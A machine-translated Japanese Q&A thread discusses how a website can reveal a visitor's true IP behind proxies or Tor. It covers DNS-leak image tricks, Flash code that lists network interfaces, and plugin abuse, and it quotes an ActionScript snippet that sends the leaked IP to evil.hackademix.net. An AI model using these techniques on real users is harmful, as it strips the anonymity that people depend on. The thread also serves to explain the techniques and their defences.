web-dev-qa-db-ja.com

ユーザーの真のIPを明らかにする

HTTP(S)接続を使用してユーザーの真のIPを明らかにするベストプラクティスの方法(およびできれば文書化)の方法はありますか?

例:可能な限り、匿名プロキシだけでなく透過プロキシからも真のIPを明らかにできるようにするため。

6
Kyle Rozendo

接続が正しく実装されているプロキシを使用している場合、httpまたはtcpを介してIPを検出することは困難な場合があります。あなたはかもしれません代わりにDNSを使用してIPに近づくのに運があります。たとえば、ページを動的に生成して、制御するドメインにある画像を含める場合、たとえば.

<img src="http://123123.deanonymize.mydomain.com"/>

ブラウザは123123.deanonymize.mydomain.comでルックアップを実行します。これにより、再帰的なDNSクエリが発生し、最終的にmydomain.comのDNSに到達します。クエリは、被害者が使用しているDNS(通常はISP)から発信されます。したがって、正確なIPは得られませんが、一般的な方向を示す可能性があります。

私の知る限り、犠牲者がバニラモードでTORを使用していても、この方法は機能します。詳細については、 https://trac.torproject.org/projects/tor/wiki/doc/PreventingDnsLeaksInTor を参照してください。

もう1つの方法は、Javaアプレットを使用してクライアント側のIPを把握することですが、現在のところ、どのような制限が課されているかについては最新ではありません。

13
mhswende

それを行うには多くの方法があります。さらにいくつかの方法があります:

  1. ポーリングネットワークインターフェイス (フラッシュ、 ローカル情報を取得できます

    import flash.net.NetworkInfo;
    
    public function findInterface():void
    {
        var results:Vector.<NetworkInterface> =
           NetworkInfo.networkInfo.findInterfaces();
    
        for (var i:int=0; i<results.length; i++)
        {
            var output = output
            + "Name: " + results[i].name + "\n"
            + "DisplayName: " + results[i].displayName + "\n"
            + "MTU: " + results[i].mtu + "\n"
            + "HardwareAddr: " + results[i].hardwareAddress + "\n"
            + "Active: "  + results[i].active + "\n";
    
    
            for (var j:int=0; j<results[i].addresses.length; j++)
            {
               output = output
               + "Addr: " + results[i].addresses[j].address + "\n"
               + "Broadcast: " + results[i].addresses[j].broadcast + "\n"
               + "PrefixLength: " + results[i].addresses[j].prefixLength + "\n"
               + "IPVersion: " + results[i].addresses[j].ipVersion + "\n";
            }
    
            output = output + "\n";
        }
    }
    
  2. XML "ping"を送信 (Flash、ブラウザ定義のプロキシのみに影響します)

    var socket = new XMLSocket();
    socket.onConnect = function(success) {
        socket.onXML = function(doc) {
            getURL("http://evil.hackademix.net/proxy_bypass?ip=" + 
                doc.firstChild.firstChild.nodeValue);
            socket.close();
        };
        socket.send(new XML());
    };
    socket.connect("evil.hackademix.net", 9999);    
    
  3. すべてのハードウェア情報をフラッシュで公開できることに注意してください。 (ありがとう、TildalWave)

  4. 悪用 ブラウザプラグイン 。 VPNを使用している場合、この攻撃はあなたに影響を与えないことに注意してくださいプラグインがローカル情報にアクセスする方法も何らかの方法で見つけない限りこれは主に一部のブラウザーが原因ですブラウザで使用されるプロキシ設定は適用されません。解決策は、接続されたインターフェイス全体で接続を強制するVPNを使用することです。 ただし、プラグインがローカルコンテンツにアクセスできる場合(読み取り/書き込み/実行)、すべての賭けは無効になります

Javaにもそれを行う方法があります。基本的に、これらのメソッドによるpingを回避するために、Java、Flash、プラグイン、およびJavaScriptをオフにする必要があります。

4
Mark Buffalo

IPを隠すことが匿名プロキシのポイントです。したがって、そのマシンがその仕事をしている場合、それを譲ってはなりません。クライアント側で javascript を実行してみることもできます(これがあなたのケースで機能するかどうかはわかりません)。

透過プロキシの場合、 この質問 にいくつかの情報があります。つまり、 X-Forwarded-Forヘッダー を使用することになります。

2
Legolas